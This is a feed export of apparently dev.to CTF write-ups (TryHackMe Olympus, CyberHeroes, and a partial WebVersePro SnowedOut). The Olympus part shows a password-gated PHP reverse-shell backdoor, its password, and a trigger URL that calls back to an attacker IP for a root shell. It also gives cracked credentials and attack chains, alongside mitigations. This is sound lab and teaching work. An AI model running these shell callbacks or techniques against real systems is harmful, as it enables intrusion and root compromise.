&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;form ...&amp;gt;Password: ...&amp;lt;/form&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="nv"&gt;$shell&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"uname -a; w; &lt;/span&gt;&lt;span class="nv"&gt;$suid_bd&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because &lt;code&gt;zeus&lt;/code&gt; can read the file directly, the hardcoded password is&lt;br&gt;
visible in the source - no cracking needed. The script is a classic&lt;br&gt;
fsockopen reverse shell gated by that password and driven by &lt;code&gt;?ip=&lt;/code&gt; and&lt;br&gt;
&lt;code&gt;?port=&lt;/code&gt; GET parameters.&lt;/p&gt;

&lt;p&gt;Browsing to it and POSTing the password confirms the usage banner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
POST &lt;span class="nv"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;a7c5ffcf139742f52a5267c4a0674129

snodew reverse root shell backdoor
Usage:
Locally: nc &lt;span class="nt"&gt;-vlp&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;port]
Remote: &amp;lt;MACHINE_IP&amp;gt;/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip&lt;span class="o"&gt;=[&lt;/span&gt;destination of listener]&amp;amp;port&lt;span class="o"&gt;=[&lt;/span&gt;listening port]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Triggering it against a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://&amp;lt;MACHINE_IP&amp;gt;/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;ATTACKER_IP&amp;gt;&amp;amp;port&lt;span class="o"&gt;=&lt;/span&gt;4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(POST the password first via the form, then load the &lt;code&gt;?ip=&amp;amp;port=&lt;/code&gt; URL.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; root&lt;span class="o"&gt;(&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;
root@&amp;lt;MACHINE_IP&amp;gt;:/# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@&amp;lt;MACHINE_IP&amp;gt;:/# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;,33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;,7777&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  11. Root and Bonus Flags
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.flag

                You did it, you defeated the gods.
                        Hope you had fun &lt;span class="o"&gt;!&lt;/span&gt;

                   flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;

PS : Prometheus left a hidden flag, try and find it &lt;span class="o"&gt;!&lt;/span&gt;
     I recommend logging as root over ssh to look &lt;span class="k"&gt;for &lt;/span&gt;it &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
     &lt;span class="o"&gt;(&lt;/span&gt;Hint : regex can be usefull&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Following the hint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"flag{"&lt;/span&gt; / &lt;span class="nt"&gt;--exclude-dir&lt;/span&gt;&lt;span class="o"&gt;={&lt;/span&gt;proc,sys,dev,snap&lt;span class="o"&gt;}&lt;/span&gt; 2&amp;gt;/dev/null

/root/root.flag:               flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
/home/zeus/user.flag:          flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
/etc/ssl/private/.b0nus.fl4g:  flag&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
Binary file /var/lib/mysql/olympus/flag.ibd matches
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A fourth, hidden flag was sitting in &lt;code&gt;/etc/ssl/private/.b0nus.fl4g&lt;/code&gt;, only&lt;br&gt;
findable by grepping the filesystem as root as the note suggested.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~webmaster/search.php&lt;/code&gt; (&lt;code&gt;search&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Full DB dump: flag, user hashes, chat log (root cause of the whole chain)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Weak / reused password&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;prometheus&lt;/code&gt; account&lt;/td&gt;
&lt;td&gt;Cracked via rockyou (&lt;code&gt;summertime&lt;/code&gt;); unlocked CMS admin and chat app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Randomized-filename upload protection defeated&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chat.olympus.thm&lt;/code&gt; upload + &lt;code&gt;chats&lt;/code&gt; table&lt;/td&gt;
&lt;td&gt;Real stored filename recoverable via SQLi, enabling direct access to an uploaded PHP reverse shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Unrestricted file upload&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chat.olympus.thm&lt;/code&gt; upload endpoint&lt;/td&gt;
&lt;td&gt;RCE as &lt;code&gt;www-data&lt;/code&gt; via uploaded &lt;code&gt;.php&lt;/code&gt; shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;SUID utility usable as arbitrary-file-read-as-owner&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/usr/bin/cputils&lt;/code&gt; (SUID &lt;code&gt;zeus&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;www-data&lt;/code&gt; used it to copy &lt;code&gt;zeus&lt;/code&gt;'s SSH private key out of an otherwise inaccessible &lt;code&gt;.ssh&lt;/code&gt; directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Weak SSH key passphrase&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;zeus&lt;/code&gt;'s &lt;code&gt;id_rsa&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Cracked via rockyou (&lt;code&gt;snowflake&lt;/code&gt;); gave interactive SSH as &lt;code&gt;zeus&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Leftover password-protected backdoor webshell, password recoverable via file permissions&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/www/html/&amp;lt;random-dir&amp;gt;/VIGQFQFMYOST.php&lt;/code&gt;, &lt;code&gt;root:zeus&lt;/code&gt; directory perms&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;zeus&lt;/code&gt; group membership let it read the hardcoded backdoor password; running it gave a root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;olympus.thm (port 80)
  |
  |-- dirsearch/ffuf -&amp;gt; /~webmaster/ (Victor CMS 1.0)
        |
        |-- searchsploit -&amp;gt; known 'search' SQLi (EDB-48734)
              |
              |-- sqlmap -&amp;gt; dump DB
                    |-- flag table  -&amp;gt; flag 1
                    |-- users table -&amp;gt; bcrypt hashes
                          |
                          |-- john + rockyou -&amp;gt; prometheus:summertime
                                |
                                |-- CMS admin login -&amp;gt; confirms chat.olympus.thm
                                      |
                                      |-- chat.olympus.thm login (same creds)
                                            |
                                            |-- upload rev.php
                                            |-- chats table (via SQLi) -&amp;gt; real uploaded filename
                                            |-- request shell -&amp;gt; www-data
                                                  |
                                                  |-- SUID cputils (owned by zeus)
                                                  |     -&amp;gt; copy zeus's authorized_keys + id_rsa
                                                  |
                                                  |-- ssh2john + john + rockyou -&amp;gt; id_rsa passphrase: snowflake
                                                        |
                                                        |-- ssh as zeus -&amp;gt; flag 2 (user)
                                                              |
                                                              |-- find -user zeus -&amp;gt; root:zeus web directory
                                                              |-- read backdoor PHP source -&amp;gt; hardcoded password
                                                              |-- trigger backdoor (?ip=&amp;amp;port=) -&amp;gt; root
                                                                    |
                                                                    |-- flag 3 (root)
                                                                    |-- grep -r "flag{" / -&amp;gt; flag 4 (bonus, /etc/ssl/private/.b0nus.fl4g)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Parameterize the &lt;code&gt;search.php&lt;/code&gt; query (prepared statements) to close the
SQL injection entry point the entire chain depends on.&lt;/li&gt;
&lt;li&gt;Enforce a password policy / reject breached passwords so accounts like
&lt;code&gt;prometheus&lt;/code&gt; and SSH keys like &lt;code&gt;zeus&lt;/code&gt;'s aren't crackable from a common
wordlist in minutes.&lt;/li&gt;
&lt;li&gt;Do not rely on an unguessable filename as the only upload control -
pair it with strict extension/MIME allow-listing, storage outside the
webroot, and disabling script execution in the upload directory; and
never let application data (the &lt;code&gt;chats&lt;/code&gt; table) hold the mapping from a
guessable identifier back to the real protected filename.&lt;/li&gt;
&lt;li&gt;Remove SUID bits from utilities that don't need them, or have them
validate that the invoking user actually owns/can already access the
source path before copying it - &lt;code&gt;cputils&lt;/code&gt; should not let &lt;code&gt;www-data&lt;/code&gt;
read &lt;code&gt;zeus&lt;/code&gt;'s private files just because the binary itself is owned by
&lt;code&gt;zeus&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Audit and remove leftover attacker tooling (backdoor webshells,
planted scripts) instead of leaving it in place with only a hardcoded
password for protection - and don't leave application/webroot
directories group-readable to standard user accounts.&lt;/li&gt;
&lt;li&gt;Rotate and re-secure the box entirely after any confirmed compromise;
the &lt;code&gt;prometheus.txt&lt;/code&gt; note makes clear a prior attacker had already
established persistent root access before this engagement began.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe - CyberHeroes Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 09 Sep 2026 15:28:58 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-cyberheroes-writeup-6hj</link>
      <guid>https://dev.to/exploitnotes/tryhackme-cyberheroes-writeup-6hj</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of &lt;code&gt;login.html&lt;/code&gt; reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required - the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Target: &lt;code&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Category: Web&lt;/li&gt;
&lt;li&gt;Difficulty: Easy&lt;/li&gt;
&lt;li&gt;Key weakness: Client-side authentication with hardcoded/obfuscated credentials in JS, plus a predictable flag filename built from those credentials&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Confirmed host is up and scanned open ports:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -A -Pn &amp;lt;MACHINE_IP&amp;gt; -o nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Results:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Apache httpd 2.4.48 (Ubuntu)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;code&gt;http-title&lt;/code&gt; identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Initial Web Enumeration
&lt;/h2&gt;

&lt;p&gt;Pulled the index page and reviewed static assets (aos.js, purecounter.js, validate.js) - all confirmed to be unmodified template vendor libraries, no custom logic there.&lt;/p&gt;

&lt;p&gt;The index page's About section directly hints at the objective:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Nav bar links to &lt;code&gt;login.html&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Directory Enumeration
&lt;/h2&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gobuster dir -u http://&amp;lt;MACHINE_IP&amp;gt; -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Notable results:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;assets                (Status: 301)
changelog.txt         (Status: 200) [Size: 2756]
index.html            (Status: 200) [Size: 6568]
login.html            (Status: 200) [Size: 5753]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;No PHP backend, no admin panel, no backup files - confirming the target is static/client-side only.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Inspecting login.html
&lt;/h2&gt;

&lt;p&gt;Fetched the login page source directly:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;/login.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The page ships an inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block containing the entire authentication logic:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function authenticate() {
  a = document.getElementById('uname')
  b = document.getElementById('pass')
  const RevereString = str =&amp;gt; [...str].reverse().join('');
  if (a.value=="h3ck3rBoi" &amp;amp; b.value==RevereString("54321@terceSrepuS")) {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 &amp;amp;&amp;amp; this.status == 200) {
        document.getElementById("flag").innerHTML = this.responseText;
      }
    };
    xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
    xhttp.send();
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Two things fall out of this immediately:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The credential check happens entirely client-side, with the username hardcoded (&lt;code&gt;h3ck3rBoi&lt;/code&gt;) and the password only lightly obfuscated via string reversal.&lt;/li&gt;
&lt;li&gt;On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values - meaning the filename itself is fully derivable from the source, with no need to actually trigger the JS in a browser.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  5. Recovering the Credentials
&lt;/h2&gt;

&lt;p&gt;Reversing the obfuscated password string by hand:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;54321@terceSrepuS  -&amp;gt;  SuperSecret@12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Recovered credentials:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username: h3ck3rBoi
password: SuperSecret@12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  6. Retrieving the Flag
&lt;/h2&gt;

&lt;p&gt;Reconstructed the flag filename directly from the JS template string and requested it with curl, bypassing the browser/JS entirely:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl "http://&amp;lt;MACHINE_IP&amp;gt;/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Response:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D

flag{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;




&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Client-side authentication logic&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;login.html&lt;/code&gt; inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Credentials and pass/fail logic fully readable in page source, no server-side verification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Weak obfuscation (string reversal) of password&lt;/td&gt;
&lt;td&gt;Inline JS &lt;code&gt;RevereString()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Trivial to reverse by hand, provides no real protection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Predictable, credential-derived sensitive file path&lt;/td&gt;
&lt;td&gt;Inline JS &lt;code&gt;xhttp.open(...)&lt;/code&gt; URL construction&lt;/td&gt;
&lt;td&gt;Flag/secret file directly retrievable via curl once credentials are known, without ever executing the JS or submitting the form&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Recon (nmap: 22, 80 open)&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
Enumerate index.html -&amp;gt; hints at login.html&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
gobuster -&amp;gt; confirms login.html, no backend endpoints&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
curl login.html -&amp;gt; read inline &amp;lt;script&amp;gt; source&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
Extract hardcoded username + reverse obfuscated password&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
Derive flag filename from JS template string (no browser needed)&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
curl flag file directly -&amp;gt; flag captured&lt;br&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Mitigations&lt;br&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never perform authentication decisions client-side; all credential validation must happen on a trusted server, with the client only submitting credentials over an authenticated session.&lt;/li&gt;
&lt;li&gt;Do not rely on obfuscation (encoding, reversal, simple ciphers) as a substitute for real access control - anything shipped to the client is fully readable by the client.&lt;/li&gt;
&lt;li&gt;Do not derive sensitive resource paths (flags, secrets, admin files) from data that is already exposed to the client, such as hardcoded credentials in JS - this makes the resource trivially reachable without ever satisfying the intended check.&lt;/li&gt;
&lt;li&gt;Serve sensitive files only behind server-side, session-validated access checks, and avoid predictable or pattern-based filenames for anything not meant to be publicly enumerable.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>WebVersePro : SnowedOut writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 01 Sep 2026 13:03:18 +0000</pubDate>
      <link>https://dev.to/exploitnotes/webversepro-snowedout-writeup-10jn</link>
      <guid>https://dev.to/exploitnotes/webversepro-snowedout-writeup-10jn</guid>
      <description>&lt;h2&gt;
  
  
  1. Overview
&lt;/h2&gt;

&lt;p&gt;The target is "Pinehollow Plow Tracker," a fictional city snow-plow dashboard running on PHP 8.2.33 behind Cloudflare. The page accepts a &lt;code&gt;zone&lt;/code&gt; GET parameter that "centers" the map on a named route zone. The objective is to get the app to reveal the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Recon
&lt;/h2&gt;

&lt;p&gt;Fetching the root page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three things stand out in the HTML:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;zone&lt;/code&gt; value is reflected into an inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block that builds a config object:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;  &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;nonce=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;CFG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;zone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Citywide&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;center&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="mf"&gt;44.86&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;93.42&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="na"&gt;updatedEvery&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;900&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;A hidden solve banner sits in the markup, unused until triggered:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"wv-solve"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"pt-solve"&lt;/span&gt; &lt;span class="na"&gt;hidden&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;poll.js&lt;/code&gt; polls a status endpoint every 2 seconds and reveals that banner (with the flag) once the server reports success:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/__status.php&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
